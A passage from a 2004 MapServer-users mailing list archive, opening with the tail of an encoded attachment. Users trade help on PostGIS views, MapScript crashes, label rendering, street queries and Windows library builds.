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 ------=_NextPart_000_0000_00001427.00007129-- From dg at mapmedia.de Tue Mar 2 02:33:04 2004 From: dg at mapmedia.de (Dirk Geschwandtner) Date: Tue, 02 Mar 2004 11:33:04 +0100 Subject: [Mapserver-users] MapServer and postgis using views Message-ID: <6.0.0.22.0.20040302113240.046158c8@localhost> At 07:56 02.03.2004, you wrote: >Browsing is fine. Queries, however, result in an empty html message output. > >When I do not work with a view but read directly from the table with the >mapfile entry > >DATA "pgpoly from axflst" > >the query seems fine. > >Did I miss something in dealing with views? Hello Hubert, have you inserted the geometry column of the view into the geometry_columns table? To perform queries on the view you have to insert a line containing the db name, the name of the view, the name of the geometry column, the dimension of the column, an srid and the geometry type of the column in the view. Hope this helps, Dirk From hubert.froehlich at bvv.bayern.de Tue Mar 2 04:01:41 2004 From: hubert.froehlich at bvv.bayern.de (=?ISO-8859-1?Q?Hubert_Fr=F6hlich?=) Date: Tue, 02 Mar 2004 13:01:41 +0100 Subject: [Mapserver-users] MapServer and postgis using views In-Reply-To: <6.0.0.22.0.20040302113240.046158c8@localhost> References: <6.0.0.22.0.20040302113240.046158c8@localhost> Message-ID: <404477A5.7040702@bvv.bayern.de> Dirk Geschwandtner wrote: > At 07:56 02.03.2004, you wrote: > >> Browsing is fine. Queries, however, result in an empty html message >> output. >> >> When I do not work with a view but read directly from the table with >> the mapfile entry >> >> DATA "pgpoly from axflst" >> >> the query seems fine. >> >> Did I miss something in dealing with views? > > > Hello Hubert, > have you inserted the geometry column of the view into the > geometry_columns table? > > To perform queries on the view you have to insert a line containing the > db name, the name > of the view, the name of the geometry column, the dimension of the > column, an srid and the geometry > type of the column in the view. > Well, I tried out something like insert into geometry_columns(f_table_catalog, f_table_schema, f_table_name, f_geometry_column, coord_dimension, srid, type) values('','public','v_axflst_geom','pgpoly',2, '31494','MULTIPOLYGON'); which had neither positive nor negative effect. ( I left out the attributes "attrelid" and "varattnum" of "geometry_columns" as I did not know how to set them. attrelid seems to be the value of the attribute "relfilenode" from pg_class. ) I would like to point out that this means that MapServer obviously tried to compose a message similarly to a query error etc., but the html body remains empty. Moreover, I worked with DEBUG=of, but there is no hint in the error log. PS. I am working with MapServer 4.0.1, PostgreSQL 7.4.1 and Postgis 0.8 with GEOS 1.0.0 on board -- ------------------------------------------------------------------------------- Dr.-Ing. Hubert Fr?hlich Bezirksfinanzdirektion M?nchen Alexandrastr. 3, D-80538 M?nchen, GERMANY Tel. :+49 (0)89 / 2190 - 2980 Fax :+49 (0)89 / 2190 - 2997 hubert dot froehlich at bvv dot bayern dot de From cpurvis at asg.sc.edu Tue Mar 2 05:02:51 2004 From: cpurvis at asg.sc.edu (Charlton Purvis) Date: Tue, 2 Mar 2004 08:02:51 -0500 Subject: [Mapserver-users] Mouse Over Message-ID: OK. Thanks, Steve. I've got a litlle of both working in my favor: dashing a bit of CGI + a wallop of PHP for the final image + imagemap product. It's working well. But I've got another question that might start to bug me if it turns out to be true. Let's take your example of Minn. and the county names. (Consider using SC data and counties -- we've got great backwards county names.) How many passes is that making through the data? 2? 1 for the image + 1 for the imagemap? Does any kind of caching go on behind the scenes for that 2nd request if there is one? I'm not too worried about it right now since I know that the database is caching my 1st request (if there is a 2nd). But I'm about to unload a bucket load of raster data into the mix of shapefiles in the db, and I know that the system ain't caching squat for those (perhaps some OS-level file caching but that's it) -- tiling, yes, but caching, no? If it is making 2 requests, is there a way I the code could be made more parallel? I.e. one pass produces two or an arbitrary # of outputs. I have negative interest in coding it myself at this point -- I'm more curious than anything. But I think there would be great value in that. At least I know from my own experience on a given screen, the same source data is being shown in about 3 different ways at a given time. So why traverse it more than once? Thanks, Charlton -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Mon 3/1/2004 6:47 PM To: Charlton Purvis; pucher at atlas.gis.univie.ac.at; Michael.Smith at erdc.usace.army.mil; mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over The searchmap stuff is inherently CGI. Since with MapScript you're essentially writing your own custom CGI you'd have to code it yourself. It's not hard, you just compute the extent of next image BEFORE doing the query. I thought templates can be accessed via MapScript but I may be wrong. If not, then they should be. From cpurvis at asg.sc.edu Tue Mar 2 05:20:42 2004 From: cpurvis at asg.sc.edu (Charlton Purvis) Date: Tue, 2 Mar 2004 08:20:42 -0500 Subject: [Mapserver-users] Mouse Over Message-ID: Well, maybe I can answer part of my question. At least w/ mapscript, everything's bundled into a mapObj, right? So we've already hit the database or whatever and run our queries to produce this object. So if we want a picture, we have to draw something based on this mapObj. If we want a querymap, we have to draw that based on the mapObj. Am I correct in thinking that it is the mapObj that is traversed multiple times to produce multiple outputs? I guess there's no way of getting around that, but it is certainly a heck of a lot better than my original assumption which was that the data sources were being pinged each time. -----Original Message----- From: Charlton Purvis Sent: Tue 3/2/2004 8:02 AM To: Steve Lime; pucher at atlas.gis.univie.ac.at; Michael.Smith at erdc.usace.army.mil; mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over OK. Thanks, Steve. I've got a litlle of both working in my favor: dashing a bit of CGI + a wallop of PHP for the final image + imagemap product. It's working well. But I've got another question that might start to bug me if it turns out to be true. Let's take your example of Minn. and the county names. (Consider using SC data and counties -- we've got great backwards county names.) How many passes is that making through the data? 2? 1 for the image + 1 for the imagemap? Does any kind of caching go on behind the scenes for that 2nd request if there is one? I'm not too worried about it right now since I know that the database is caching my 1st request (if there is a 2nd). But I'm about to unload a bucket load of raster data into the mix of shapefiles in the db, and I know that the system ain't caching squat for those (perhaps some OS-level file caching but that's it) -- tiling, yes, but caching, no? If it is making 2 requests, is there a way I the code could be made more parallel? I.e. one pass produces two or an arbitrary # of outputs. I have negative interest in coding it myself at this point -- I'm more curious than anything. But I think there would be great value in that. At least I know from my own experience on a given screen, the same source data is being shown in about 3 different ways at a given time. So why traverse it more than once? Thanks, Charlton -----Original Message----- From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Sent: Mon 3/1/2004 6:47 PM To: Charlton Purvis; pucher at atlas.gis.univie.ac.at; Michael.Smith at erdc.usace.army.mil; mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl Cc: Subject: RE: [Mapserver-users] Mouse Over The searchmap stuff is inherently CGI. Since with MapScript you're essentially writing your own custom CGI you'd have to code it yourself. It's not hard, you just compute the extent of next image BEFORE doing the query. I thought templates can be accessed via MapScript but I may be wrong. If not, then they should be. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rryda at mgedata.cz Tue Mar 2 06:04:30 2004 From: rryda at mgedata.cz (Richard Ryda) Date: Tue, 2 Mar 2004 15:04:30 +0100 Subject: [Mapserver-users] Premature end of script headers: php Message-ID: <007301c4005f$48dc3260$3201a8c0@rryda> I am trying to compile Mapscript 4.0.1 on Red Hat 7.3. Here is my compile script: cd /usr/src/mapserver-4.0.1 rm -f config.cache make clean ./configure \ --without-tiff \ --without-eppl \ --without-pdf \ --without-ming \ --without-wmsclient \ --without-wfs \ --without-wfsclient \ --without-proj \ --with-threads \ --with-gdal=/usr/local/bin/gdal-config \ --with-ogr \ --with-gd=/usr \ --with-png=/usr/local \ --with-php=/usr/src/php-4.3.4 \ --enable-runpath make My PHP script crashes at this code: $ms_omap = ms_newmapobj($ms_mapfile); $ms_layers_count = $ms_omap -> numlayers; for ($i = 0; $i < $ms_layers_count; $i++) { $ms_layer = $ms_omap -> getlayer($i); ...... } It crashes when $i = 1. $i = 0 returns the first layer succesfully. Apache returns Internal Server Error 500 with the following message in the log: "Premature end of script headers: php" Thanks for any idea. Richard From Ballini.Yvain at seat.it Tue Mar 2 06:27:02 2004 From: Ballini.Yvain at seat.it (Ballini Yvain) Date: Tue, 2 Mar 2004 15:27:02 +0100 Subject: [Mapserver-users] R: R: I: R: Aesthetics with label Message-ID: <4B1A1EC0790F054193453C48725D431829F844@MSGBE1V1.seat.it> Yes, I'm using antialiasing but the distortion of the characters remains the same. Of course, it isn't a high priority but I'm quite surprised that nobody has let some message on the mailing list about it. Indeed, this is a limit that can become important for cartografic applications in which some performant labelling is requested. Thanks a lot. Yvain. -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Inviato: gioved? 26 febbraio 2004 1.01 A: Ballini Yvain Oggetto: Re: R: I: R: Mathematical model applied to the option ANGLEAUTO Aesthetics just aren't a high priority to many folks. It was better with Freetype 1 but the GD folks decided to drop that support and we followed suit. Are you using antialiasing? Steve >>> "Ballini Yvain" 02/24/04 1:45 AM >>> Using some other font, indeed the situation changes but it remains a little distorted. I'm actually using gd-2.0-15 and freetype-2.1.3 with mapserver 4.0 on Windows XP...but if it's due to the version, I don't understand why nobody has noticed it in the last months. Thanks again. Yvain. -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Inviato: luned? 23 febbraio 2004 21.26 A: Ballini Yvain Oggetto: Re: I: R: Mathematical model applied to the option ANGLE AUTO I guess I suggest trying a couple of things to troubleshoot this: - try another font, does the problem persist - make sure you are using the most recent versions of GD and Freetype Steve >>> "Ballini Yvain" 2/23/2004 11:33:00 AM >>> Well, trying to fix an angle value for all the labels, I see that the problem of distortion remains, that shows that it isn't due to the option ANGLE AUTO (see Milano2.png). -----Messaggio originale----- Da: Ballini Yvain Inviato: luned? 23 febbraio 2004 18.17 A: 'steve.lime at dnr.state.mn.us' Oggetto: I: R: Mathematical model applied to the option ANGLE AUTO I'm looking at the file mapprimitive.c but I am not sure it is there that the angle is computed in my case. In the unction bufferPolyline of mapprimitive.c, it seems like you said that only one value is calculated for all the points of the feature. How could you explain the "distorted" characters, that I get using this value? Thanks again. Yvain. -----Messaggio originale----- Da: Ballini Yvain Inviato: luned? 23 febbraio 2004 17.49 A: 'Steve Lime' Oggetto: R: R: Mathematical model applied to the option ANGLE AUTO Of course, Here I send tou "Milano.png" which I'm getting with my application. The distorsion is light but there is a distorsion for the labels of the streets (see for example "via F. Pecorari" under, or "via S. Paolo" above): not all the characters are aligned and that's not beautiful. If I fix a value for the angle, it doesn't give this problem but it doesn't follow of course the street'direction. Are you sure that only 1 angle value is computered for each label feature? If yes, the problem would be due to a small change of the position value...? Thanks ! Yvain. -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Inviato: luned? 23 febbraio 2004 17.40 A: Ballini Yvain Oggetto: Re: R: Mathematical model applied to the option ANGLE AUTO That's how it works now though, only 1 angle is computed. I suspect problems either with Freetype/GD or perhaps with the font you are using. Do you have a screen shot showing the distortion? Steve >>> "Ballini Yvain" 2/23/2004 10:38:23 AM >>> Thanks for the answer. I make this question because with my application, the angle which is given using the option ANGLE AUTO is ok, but it seems to recalculated for all the characters of the label (it gives me some distorted label when I'm applying it to a street layer). I would like to have only one angle value for each label feature, which would correspond to the average angle of the current segment of the street. I dont't know if I'm clear with my english...! :) Bye. Yvain. -----Messaggio originale----- Da: Steve Lime [mailto:steve.lime at dnr.state.mn.us] Inviato: luned? 23 febbraio 2004 17.32 A: Ballini Yvain Oggetto: Re: Mathematical model applied to the option ANGLE AUTO Hi there: I guess I'm confused by your email. The angle is computed on a label-by-label basis (i.e. for all characters) already. The code is in mapprimitive.c... Steve >>> "Ballini Yvain" 2/23/2004 8:29:43 AM >>> Hi Steve, I've seen that you are a kind of "guru" of mapserver. I would like to modify something about the mathematical model applied to the option ANGLE AUTO for the labels in mapserver 4.0. I would like to do the calculation of the angle only once for each label and not for all character like it semms to be made in the current version. Could you indicate me where I should look for this part in the source? Thanks a lot. Best reagrs. Yvain Ballini. From mservin at tecnoaccion.com.ar Tue Mar 2 07:22:19 2004 From: mservin at tecnoaccion.com.ar (Mario Servin) Date: Tue, 2 Mar 2004 12:22:19 -0300 Subject: [Mapserver-users] Searching for crossing streets Message-ID: <00a101c4006a$27a11ce0$7205a8c0@mariolaptop> Hi, I did the following CGI query for getting the closest street near the click of the mouse: http://mariolaptop/MYPages/Scripts/mapserv_41.exe?mode=nquery&itemquery=[NAME]&layer=calles&imgxy=10+10&mapext=shape&imgext=-71.899651+-41.582889+-71.086875+-40.770450&map=c%3A%2FDocuments+and+Settings%2Fmario%2FMyPages%2Fitasca%2Fquery.map&savequery=true&img.x=452&img.y=265&map_calles_tolerance=10 I use a query.map and a query .html that follows: query.html: Calle: [ID] Nombre:[NAME]
query.map: # # Start of map file # NAME DEMO STATUS ON SIZE 600 600 EXTENT -71.89965056 -41.36073059 -71.08687515 -40.99260904 UNITS DD SHAPEPATH "Bariloche" IMAGECOLOR 255 255 255 # you may need to change this to match your MapServer build IMAGETYPE PNG # # Start of layer definitions # #Bariloche LAYER NAME calles GROUP Calles TYPE LINE DATA Calles STATUS OFF TOLERANCE 1 TOLERANCEUNITS meters CLASS TEMPLATE query.html END END END # Map File As you can see I modify the TOLERANCE attribute of my layer 'calles' (streets in spanish) to get the minimum number of streets near my location. I want to use this for finding two crossing streets near me. The process will follow like this: wiht a minimum TOLERANCE value (10 meters as an example ) I found a street. Then I should increment the TOLERANCE and requery to mapserver. Here's my problem. I need to use the previous result to filter the new ones as again I will get the same street (among others). This time I need the nearest street EXCEPT the found in the previous query. I did set the SAVEQUERY=true but I do not know how to use it. Can anybody help me?. Regards Mario From flavio at tydac.ch Tue Mar 2 09:13:13 2004 From: flavio at tydac.ch (Flavio Hendry) Date: Tue, 02 Mar 2004 18:13:13 +0100 Subject: [Mapserver-users] Researching the Capabilities of MapServer In-Reply-To: <7CDD7B94357FD5119E800002A537C46E0B8B7321@s5-ccr-r1.ccrs.nrcan.gc.ca> References: <7CDD7B94357FD5119E800002A537C46E0B8B7321@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: Hi Jean Fran?ois > The buffer you're pretty much going to NEED a Java applet, as I've > never heard of any way to draw circles in a browser ... no problem doing that with javascript too, somehow the same way we did the distance thing (which we gave to Dan and is the one used in chameleon ...) ... on slow machines it is a bit slow however ... (we have as well polygon select, rectangle select and so on ...). and for the statistis stuff, that might be worth a look (using OWT chart quite a bit)- in french for you! :-) ... http://www.ch03.ch/fr/geopolitics/abstimmungen/abstimmungen.php We did as well an application for the swiss department of statistcs, doing all the selection stuff above in connection with OWT chart too, however it's internal only and we are not allowed to publish details yet. Mit freundlichem Gruss / Best Regards Flavio Hendry ---------------------------------------------------------------- TYDAC NEWS http://www.tydac.ch/german/index.php?menu=News_actual ---------------------------------------------------------------- ############ ? ? ?Mit freundlichen Gruessen / Kind Regards ############? ? ? ? ? ? ?mailto:flavio at tydac.ch ############ ? ? ? ? TYDAC AG - http://www.tydac.ch #### ? ?#### ? ? ? ?Geographic Information Solutions #### ? ?#### ? ? ? ? Luternauweg 12 -- CH-3006 Bern ############ ? Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860 ---------------------------------------------------------------- From tsidel at icesat2.gsfc.nasa.gov Tue Mar 2 09:47:04 2004 From: tsidel at icesat2.gsfc.nasa.gov (Zipora Sidel) Date: Tue, 02 Mar 2004 12:47:04 -0500 Subject: [Mapserver-users] Displaying an Elevation Profile Message-ID: <4044C898.2060900@icesat2.gsfc.nasa.gov> Hi, I am new to the MapServer and quite overwhelmed from all the options available to the user. However, it is not clear to me if I can use the software for my application. My data is a grid file (latitude, longitude, elevation). I would like to display the map on the web and by clicking the mouse in two points, be able to display the elevation profile between those two points. Any help will be appreciated. Tzipi . -- -------------------------------------------------------------- Tzipi Sidel NASA Chief Programmer/Analyst Goddard Space Flight Center Altimeter Data Analysis Mail Stop 971 and Processing Greenbelt, MD 20771 Raytheon ITSS Phone: (301) 614-5891 FAX: (301) 614-5644 email: zipora.sidel at gsfc.nasa.gov -------------------------------------------------------------- From mountainduo at mho.com Tue Mar 2 09:53:49 2004 From: mountainduo at mho.com (mountainduo at mho.com) Date: Tue, 2 Mar 2004 10:53:49 -0700 (MST) Subject: [Mapserver-users] Mapserver compiled and source download In-Reply-To: <3638.64.58.31.38.1078099130.squirrel@a.mail.mho.net> References: <1423.64.58.31.38.1078007010.squirrel@a.mail.mho.net> <20040229025428.19294.qmail@hm47.locaweb.com.br> <3638.64.58.31.38.1078099130.squirrel@a.mail.mho.net> Message-ID: <4931.64.58.31.38.1078250029.squirrel@a.mail.mho.net> I guess what i hoped to get is a download file that had the source and also the compiled objects so then i can create a windows dll so i can use java. i get the mapscript_wrap.c to compile but then when i try to link the compiled object i get a lot of undifined references to mapserver functions. This is where i need the compiled mapserver library files so i can link and create my dll. I had thought i had seen somewhere that there was a mapserver.lib file but i could be wrong. can you post this zip file? thanks a lot > >> mapserver.lib ??? >> >> I never saw it before! please be sure the filename u want. >> >> best. >> >> Eduardo Patto Kanegae >> http://www.consultoria.eti.br >> >> ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >> *************************************** >> ***Fim da Mensagem / End of Message *** >> *************************************** >> >> >> >> >> >> On Sat, 28 Feb 2004 15:23:30 -0700 (MST), >> escreveu: >> >>> De: >>> Data: Sat, 28 Feb 2004 15:23:30 -0700 (MST) >>> Para: >>> Assunto: Re: [Mapserver-users] Mapserver compiled and source download >>> >>> Thank you for your reply. I have downloaded a few of the files but >>> still can't find the mapserver.lib file. Can you tell me which file i >>> should download? >>> >>> thanks again, >>> will >>> >>> > http://www2.dmsolutions.ca/webtools/dl/ >>> > >>> > Eduardo Patto Kanegae >>> > http://www.consultoria.eti.br >>> > >>> > ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>> *************************************** >>> > ***Fim da Mensagem / End of Message *** >>> > *************************************** >>> > >>> > >>> > >>> > >>> > >>> > On Sat, 28 Feb 2004 13:41:30 -0700 (MST), >>> escreveu: >>> > >>> >> De: >>> >> Data: Sat, 28 Feb 2004 13:41:30 -0700 (MST) >>> >> Para: >>> >> Assunto: [Mapserver-users] Mapserver compiled and source download >>> >> >>> >> Hello, >>> >> >>> >> Is there somewhere where i can download the source and compiled >>> version together? I am having problems compiling mapserver and all i >>> really need is the mapserver.lib file (and any other library >>> files). >>> >> >>> >> thank you for your help, >>> >> will >>> >> >>> >> >>> >> _______________________________________________ >>> >> Mapserver-users mailing list >>> >> Mapserver-users at lists.gis.umn.edu >>> >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >> >>> >> >>> >> >>> > _______________________________________________ >>> > Mapserver-users mailing list >>> > Mapserver-users at lists.gis.umn.edu >>> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>> >>> >>> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Darren.Cope at statcan.ca Tue Mar 2 10:23:54 2004 From: Darren.Cope at statcan.ca (Darren.Cope at statcan.ca) Date: Tue, 2 Mar 2004 13:23:54 -0500 Subject: [Mapserver-users] Scale Dependant Classes in Legend Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C40083.84D92E79 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I am curious if there is a way to hide scale dependant classes in the legend. For example, I have a layer with 3 classes (each coming on as = you zoom in further). However, all of the classes show up in the legend as = long as one of the classes is in its range. Is there any way to alleviate = this, short of showing each class as a new layer (which I am assuming would = fix the problem, but I haven't tried..) Darren Cope Statistics Canada/Statistique Canada Geography Division/Division de la g=E9ographie Jean Talon 3D5 Ottawa, Canada (613) 951-6461 ------_=_NextPart_001_01C40083.84D92E79 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Scale Dependant Classes in Legend

Hi all,

I am curious if there is a way to = hide scale dependant classes in the legend.  For example, I have a = layer with 3 classes (each coming on as you zoom in further).  = However, all of the classes show up in the legend as long as one = of the classes is in its range.  Is there any way to alleviate = this, short of showing each class as a new layer (which I am assuming = would fix the problem, but I haven't tried..)

Darren Cope
Statistics Canada/Statistique = Canada
Geography Division/Division de = la g=E9ographie
Jean Talon 3D5
Ottawa, Canada
(613) 951-6461

------_=_NextPart_001_01C40083.84D92E79-- From assefa at dmsolutions.ca Tue Mar 2 10:33:53 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Tue, 02 Mar 2004 13:33:53 -0500 Subject: [Mapserver-users] Mapserver compiled and source download In-Reply-To: <4931.64.58.31.38.1078250029.squirrel@a.mail.mho.net> References: <1423.64.58.31.38.1078007010.squirrel@a.mail.mho.net> <20040229025428.19294.qmail@hm47.locaweb.com.br> <3638.64.58.31.38.1078099130.squirrel@a.mail.mho.net> <4931.64.58.31.38.1078250029.squirrel@a.mail.mho.net> Message-ID: <4044D391.1010404@dmsolutions.ca> Hi there, I have put a mapserver lib that comes from a build on my machine (mapserver cvs from a couple of days ago) at www2.dmsolutions.ca/tmp/mapservlib.zip. Not sure if you need more that this file. Le me know. Later, mountainduo at mho.com wrote: > I guess what i hoped to get is a download file that had the source and > also the compiled objects so then i can create a windows dll so i can use > java. > > i get the mapscript_wrap.c to compile but then when i try to link the > compiled object i get a lot of undifined references to mapserver > functions. This is where i need the compiled mapserver library files so i > can link and create my dll. I had thought i had seen somewhere that there > was a mapserver.lib file but i could be wrong. > > can you post this zip file? > > thanks a lot > > >>>mapserver.lib ??? >>> >>>I never saw it before! please be sure the filename u want. >>> >>>best. >>> >>>Eduardo Patto Kanegae >>>http://www.consultoria.eti.br >>> >>>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>>*************************************** >>>***Fim da Mensagem / End of Message *** >>>*************************************** >>> >>> >>> >>> >>> >>>On Sat, 28 Feb 2004 15:23:30 -0700 (MST), >>>escreveu: >>> >>> >>>>De: >>>>Data: Sat, 28 Feb 2004 15:23:30 -0700 (MST) >>>>Para: >>>>Assunto: Re: [Mapserver-users] Mapserver compiled and source download >>>> >>>>Thank you for your reply. I have downloaded a few of the files but >>>>still can't find the mapserver.lib file. Can you tell me which file i >>>>should download? >>>> >>>>thanks again, >>>>will >>>> >>>> >>>>>http://www2.dmsolutions.ca/webtools/dl/ >>>>> >>>>>Eduardo 